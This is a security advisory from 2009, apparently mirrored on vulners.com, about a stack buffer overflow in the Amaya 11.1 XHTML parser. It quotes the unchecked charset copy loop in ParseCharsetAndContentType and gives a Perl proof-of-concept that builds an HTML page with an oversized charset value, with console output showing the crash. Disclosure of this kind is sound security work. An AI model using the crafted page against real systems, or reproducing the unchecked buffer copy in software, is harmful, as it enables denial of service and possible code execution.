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HistoryApr 07, 2009 - 12:00 a.m.

Amaya 11.1 XHTML Parser Buffer Overflow

2009-04-0700:00:00
vulners.com
19

#=cicatriz <[email protected]>=#=(advisories)=#
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#=Amaya 11.1 XHTML Parser Buffer Overflow=#=
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#=Advisory & Vulnerability Information=#=
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    Title: Amaya 11.1 XHTML Parser Buffer Overflow
    Advisory ID: VUDO-2009-0104
    Advisory URL: http://research.voodoo-labs.org/advisories/2
    Date founded: 2009-03-30
    Vendors contacted: N/A
    Class: Buffer Overflow
    Remotely Exploitable: Yes
    Locally Exploitable: Yes
    Exploit/PoC Available: Yes

#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
#=Tested & Vulnerable packages=#=
~=#

    [+] Amaya 11.1
    [+] Amaya 11
    
    Non tested but possible:
    [*] Amaya 10

#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
#=Solutions and Workarounds=#=
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Amaya is planning to release a newer version (11.2 snapshot) [1]

#=~~~~~~~~~~~~~~~~~~~~~~~~=#
#=Technical Information=#=
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A stack buffer overflow have been discovered in the Amaya [1] Web Editor's XHTML parser function:
ParseCharsetAndContentType(), wich can be used to compromise the victim's system via arbitrary code execution.

The overflow occurs when the application process the "charset" type from a crafted HTML page.If the charset
has a large amount of chars can lead to a stack buffer overflow and, maybe, be exploited using printable ASCII
characters. When the application was debugged, it showed that the overflow occurs in the function
"ParseCharsetAndContentType":

+++Amaya/amaya/XHTMLbuilder.c

68  void ParseCharsetAndContentType &#40;Element el, Document doc&#41; 
69  
70  {
71    AttributeType attrType;
72    Attribute     attr;
73    ElementType   elType;
74    CHARSET       charset;
75    char         *text, *text2, *ptrText, *str; XXX
76    char          charsetname[MAX_LENGTH]; 
77    int           length;
78    int           pos, index = 0;
79  
    ...

125
126 if (charset == UNDEFINED_CHARSET)
127 {
128 /* the charset is not already defined by the http header */
129 str = strstr (text2, "charset=");
130 if (str)
131 {
132 pos = str - text2 + 8;
133 while (text2[pos] != SPACE &&
134 text2[pos] != TAB && text2[pos] != EOS)
135 charsetname[index++] = text2[pos++]; XXX
136 charsetname[index] = EOS;
137 charset = TtaGetCharset (charsetname);
138 if (charset != UNDEFINED_CHARSET)
139 TtaSetDocumentCharset (doc, charset, FALSE);
140 }
141 }
142 TtaFreeMemory (text2);
143 }
144 }
145 }
146 TtaFreeMemory (text);
147 }
148 }

—Amaya/amaya/XHTMLbuilder.c

So, the application creates a buffer called "charsetname" with a length of 1024 bytes and then tries to fill
it with the charset type name, skipping the 8 bytes of "charset=", without making any type of length check.
If an HTML page has something like this it might produce the overflow:

+++
<meta http-equiv="Content-Type" content="text/html; charset="AAAAAAAAAAAAAAAAAAAAAAAA…x1922" />

#=~~~~~~~~~~~~~~~~~~~~=#
#=Proof of Concept=#=
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The following perl script creates an HTML file that reproduces the overflow:

+++amaya_poc.pl

#!/usr/bin/perl -w

[*] Amaya 11.1 XHTML Parser Buffer Overflow POC

[*] C1c4Tr1Z <[email protected]>

Copyright (c) 2008-2009 Voodoo Research Group.

my $filename="b0f.html";
my $b0f="\x41"x1922;
my $vulnerable=qq{
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset={b0f}">
</head>

<body>
</body>
</html>
};
#debug: "gdb -q --args \"/usr/lib/Amaya/wx/bin/amaya_bin\" ./$filename"
my $exec="/usr/lib/Amaya/wx/bin/amaya_bin ./$filename";

open(HTML, "> $filename") || die "[-] Error ($!). Exiting…\n";
$vulnerable=~s|(\{b0f\})+|$b0f|g;
print HTML $vulnerable;
close(HTML);

print "[+] File $filename created.\n";
print "[+] Setting enviroment variables…\n";

$ENV{'XLIB_SKIP_ARGB_VISUALS'}=1;
$ENV{'G_SLICE'}="always-malloc";

print "[+] Executing amaya\n";
sleep(3);
exec("clear; $exec");

—amaya_poc.pl

+++console
$ perl amaya.pl
[+] File b0f.html created.
[+] Setting enviroment variables…
[+] Executing amaya

  • Amaya: Error Irrecuperable ***Segmentation fault
    $

#=~~~~~~~~~~~~~~~~~~~~~~=#
#=Reporting Timeline=#=
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    [*] 30-03-2009: Bug discovered.
    [*] 01-04-2009: Advisory VUDO-2009-3003 published without notifying the vendor.

#=~~~~~~~~~~~~~~=#
#=References=#=
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    [1] Amaya Project Homepage: http://www.w3.org/Amaya/

#=cicatriz <[email protected]>=#=(advisories)=#
#=miй 01 abr 2009 ART=#=
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